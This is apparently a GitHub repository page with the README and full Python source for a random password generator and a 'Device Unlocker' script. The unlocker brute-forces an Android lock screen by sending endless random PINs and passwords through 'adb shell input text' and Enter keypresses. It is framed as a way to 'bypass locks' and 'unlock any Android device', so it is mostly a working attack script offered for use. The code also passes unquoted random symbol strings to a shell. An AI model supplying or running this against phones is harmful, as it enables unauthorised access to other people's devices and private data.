Loading repository dataβ¦
Loading repository dataβ¦
dhruv650 / repository
π Unlock Any Android Device: Discover how to bypass locks on Android phones using Python scripts with ADB (Android Debug Bridge). Our tutorial walks you through every step, ensuring you learn the most efficient methods for unlocking devices safely.
This documentation provides guidance on how to use the Password Generator and Device Unlocker scripts. These scripts are designed to generate various types of passwords and unlock an Android device using ADB (Android Debug Bridge) commands.
The Password Generator script allows users to generate different types of passwords, including:
The Device Unlocker script uses ADB commands to attempt unlocking an Android device by trying various password combinations generated by the Password Generator script.
PasswordsThis class provides methods for generating various passwords and phone numbers.
four_digit(self) -> str
Generates a random 4-digit number.
Returns: A string representing the 4-digit password.
six_digit(self) -> str
Generates a random 6-digit number.
Returns: A string representing the 6-digit password.
small_characters(self, length: int) -> str
Generates a random password consisting of lowercase letters.
Parameters:
length: The length of the password.big_characters(self, length: int) -> str
Generates a random password consisting of uppercase letters.
Parameters:
length: The length of the password.mixed_characters(self, length: int) -> str
Generates a random password consisting of mixed characters (letters, numbers, and symbols).
Parameters:
length: The length of the password.phone_number(self) -> str
Generates a random phone number with a specific prefix.
Returns: A string representing the generated phone number.
unique_password(self, password_for: str = "Google") -> str
Generates a unique password for a specific purpose.
Parameters:
password_for: The purpose or context for the password (default is "Google").Passwords.py.import random
class Passwords:
def __init__(self):
self._lower_number = '0123456789'
self._lower_letter = 'abcdefghijklmnopqrstuvwxyz'
self._upper_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
self._symbols = '!@#$%^&*()_+=-'
self._mix_number = "qwertyuiopasdfghjklzxcvbnmASDFGHJKLPOIUYTREWQZXCVBNM1234567890-=[]|;'./,<>?:{}+_!@#$%^&*()"
self._phone_number = [90, 96, 99, 80, 62, 85]
def four_digit(self):
return str(random.randint(1000, 9999))
def six_digit(self):
return str(random.randint(100000, 999999))
def small_characters(self, length):
return ''.join(random.choice(self._lower_letter) for _ in range(length))
def big_characters(self, length):
return ''.join(random.choice(self._upper_letter) for _ in range(length))
def mixed_characters(self, length):
return ''.join(random.choice(self._mix_number) for _ in range(length))
def phone_number(self):
pre = random.choice(self._phone_number)
suff = random.randint(10000000, 99999999)
return f"+91{str(pre) + str(suff)}"
def unique_password(self, password_for="Google"):
chr = "#@*& "
length = len(password_for)
a = random.choice(chr)
alg = length * (length - 1)
alg2 = int(alg / 2)
b = random.choice(chr)
total = f"{password_for}-{a * 3}{alg2}{b * 3}"
return total
def password_generator_menu():
passwd = Passwords()
menu = """
βββ Password Generator Menu βββ
1. Generate 4-digit Number
2. Generate 6-digit Number
3. Generate Small Alphabet Password
4. Generate Big Alphabet Password
5. Generate Mixed-Character Password
6. Generate Unique Password
7. Generate Random Phone Number
Select an option (1-7):
"""
choice = int(input(menu))
if choice == 1:
print("4-digit password:", passwd.four_digit())
elif choice == 2:
print("6-digit password:", passwd.six_digit())
elif choice == 3:
length = int(input("Enter the length of your password: "))
print("Small alphabet password:", passwd.small_characters(length))
elif choice == 4:
length = int(input("Enter the length of your password: "))
print("Big alphabet password:", passwd.big_characters(length))
elif choice == 5:
length = int(input("Enter the length of your password: "))
print("Mixed-character password:", passwd.mixed_characters(length))
elif choice == 6:
password_for = input("Enter the purpose of the unique password (e.g., Google): ")
print("Unique password:", passwd.unique_password(password_for))
elif choice == 7:
print("Generated phone number:", passwd.phone_number())
else:
print("Invalid Choice")
if __name__ == "__main__":
password_generator_menu()
python password_generator.py
This script uses ADB commands to unlock an Android device by attempting various password combinations generated using the Passwords class.
device_unlocker.py.import subprocess
from Passwords import Passwords # Ensure Passwords.py is in the same directory
def unlock_device_with_password(password):
# Input the password via adb shell input text
cmd_input_password = f"adb shell input text {password}"
subprocess.run(cmd_input_password, shell=True)
# Simulate pressing the Enter key via adb shell input keyevent
cmd_press_enter = "adb shell input keyevent 66"
subprocess.run(cmd_press_enter, shell=True)
def unlock_device_menu():
passwd = Passwords()
menu = """
βββ Device Unlocker Menu βββ
1. Unlock with 4-digit Number
2. Unlock with 6-digit Number
3. Unlock with Small Alphabet Password
4. Unlock with Big Alphabet Password
5. Unlock with Mixed-Character Password
Select an option (1-5):
"""
choice = int(input(menu))
if choice == 1:
while True:
password = passwd.four_digit()
unlock_device_with_password(password)
elif choice == 2:
while True:
password = passwd.six_digit()
unlock_device_with_password(password)
elif choice == 3:
length = int(input("Enter the length of your password: "))
while True:
password = passwd.small_characters(length)
unlock_device_with_password(password)
elif choice == 4:
length = int(input("Enter the length of your password: "))
while True:
password = passwd.big_characters(length)
unlock_device_with_password(password)
elif choice == 5:
length = int(input("Enter the length of your password: "))
while True:
password = passwd.mixed_characters(length)
unlock_device_with_password(password)
else:
print("Invalid Choice")
if __name__ == "__main__":
unlock_device_menu()
python device_unlocker.py
This documentation provides a clear understanding of how to use the Password Generator and Device Unlocker scripts. They offer a variety of password generation techniques and an automated unlocking approach using ADB.
Passwords class to add additional complexity or new password types.Additional Password Types:
Passwords class, such as alphanumeric passwords or specific patterns.User Interface:
Error Handling:
Logging:
Security Measures:
Here is a step-by-step example of how to use both scripts:
Run the Password Generator Script:
python password_generator.py
Follow the On-Screen Menu:
βββ Password Generator Menu βββ
1. Generate 4-digit Number
2. Generate 6-digit Number
3. Generate Small Alphabet Password
4. Generate Big Alphabet Password
5. Generate Mixed-Character Password
6. Generate Unique Password
7. Generate Random Phone Number
Select an option (1-7):
Choose an Option:
1 to generate a 4-digit number.View the Result:
Run the Device Unlocker Script:
python device_unlocker.py
Follow the On-Screen Menu:
βββ Device Unlocker Menu βββ
1. Unlock with 4-digit Number
2. Unlock with 6-digit Number
3. Unlock with Small Alphabet Password
4. Unlock with Big Alphabet Password
5. Unlock with Mixed-Character Password
Select an option (1-5):
Choose an Option:
1 to attempt unlocking with 4-digit numbers.Monitor the Process:
This documentation provides a comprehensive guide on using and extending the Password Generator and Device Unlocker scripts. These scripts are powerful tools for generating passwords and automating the unlocking process for Android devices via ADB.